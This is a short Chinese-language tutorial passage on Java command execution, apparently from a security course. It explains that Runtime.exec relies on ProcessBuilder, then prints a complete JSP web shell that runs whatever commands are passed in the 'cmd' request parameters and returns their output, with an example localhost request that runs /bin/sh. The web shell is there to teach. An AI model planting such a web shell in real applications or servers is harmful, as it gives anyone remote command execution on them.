学习Runtime命令执行的时候我们讲到其最终exec方法会调用ProcessBuilder来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder来执行系统命令了。
    process_builder.jsp命令执行测试

    1. <%--
    2. Created by IntelliJ IDEA.
    3. User: yz
    4. Date: 2019/12/6
    5. Time: 10:26 上午
    6. To change this template use File | Settings | File Templates.
    7. --%>
    8. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    9. <%@ page import="java.io.ByteArrayOutputStream" %>
    10. <%@ page import="java.io.InputStream" %>
    11. <%
    12. InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
    13. ByteArrayOutputStream baos = new ByteArrayOutputStream();
    14. byte[] b = new byte[1024];
    15. int a = -1;
    16. while ((a = in.read(b)) != -1) {
    17. baos.write(b, 0, a);
    18. }
    19. out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
    20. %>

    执行一个稍微复杂点的命令:/bin/sh -c "cd /Users/;ls -la;",浏览器请求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la
    3. ProcessBuilder命令执行 - 图1